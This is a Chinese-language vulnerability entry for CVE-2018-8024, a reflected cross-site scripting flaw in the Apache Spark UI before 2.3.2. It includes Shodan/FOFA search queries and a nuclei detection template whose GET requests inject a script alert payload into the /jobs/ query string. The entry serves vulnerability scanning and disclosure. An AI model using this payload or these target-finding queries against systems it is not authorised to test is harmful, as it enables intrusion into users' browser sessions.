Apache Spark UI Cross-Site Scripting Vulnerability

漏洞信息

漏洞名称： Apache Spark UI Cross-Site Scripting Vulnerability

漏洞编号：

• CVE： CVE-2018-8024

漏洞类型： 跨站可执行脚本

漏洞等级： 中危

漏洞描述： Apache Spark是一个开源的大数据处理框架，广泛用于大规模数据处理、机器学习等场景。其用户界面(UI)提供了作业监控和管理功能，是企业级大数据处理平台中常见的组件。该漏洞影响Apache Spark UI 2.3.2之前的版本，由于未对/jobs/端点的查询字符串参数进行适当的清理，攻击者可以构造恶意的URL，当用户访问该URL时，恶意脚本会在用户浏览器中执行，从而实现跨站脚本攻击(XSS)。这种漏洞的根源在于输入验证不足，未能有效过滤或转义用户提供的输入。攻击者利用此漏洞可以窃取用户的会话令牌、重定向用户到恶意网站或在用户上下文中执行未授权的操作。由于攻击需要用户交互（如点击恶意链接），且影响范围限于用户界面，因此被评级为中危。然而，考虑到Apache Spark在企业环境中的广泛使用，此漏洞仍可能对依赖Spark进行大数据处理的组织构成显著风险。

产品厂商： Apache

产品名称： Spark

影响版本： version < 2.3.2

搜索语法： title=”spark master at”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/8df03a0dd3f796dcbd6ce9d748e5d96c3b5af09f/http%2Fcves%2F2018%2FCVE-2018-8024.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2018-8024

info:
  name: Apache Spark UI - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Apache Spark UI before 2.3.2 is vulnerable to XSS via unsanitized query string parameters in the /jobs/ endpoint.
  reference:
    - https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-8024
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8024
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-8024
    cwe-id: CWE-79
    epss-score: 0.52728
    epss-percentile: 0.97804
    cpe: cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: spark
    shodan-query: title:"spark master at"
    fofa-query: title="spark master at"
  tags: cve,cve2018,spark,xss,ui

http:
  - method: GET
    path:
      - "{{BaseURL}}/jobs/?\"'><script>alert(document.domain)</script>"
      - "{{Host}}:4040/jobs/?\"'><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'text/html')"
          - "contains_all(body, '><script>alert(document.domain)</script>', 'Spark Jobs')"
        condition: and
# digest: 490a004630440220112adc88e34ee6e0a80b6a096b9fba44a6583944279b71a6728a7599355ebd0c02200989cc42c27c1d7f1fcf1e80b0bb30cc1494d3921ba2249a8fabf70615938845:922c64590222798bb761d5b6d8e72950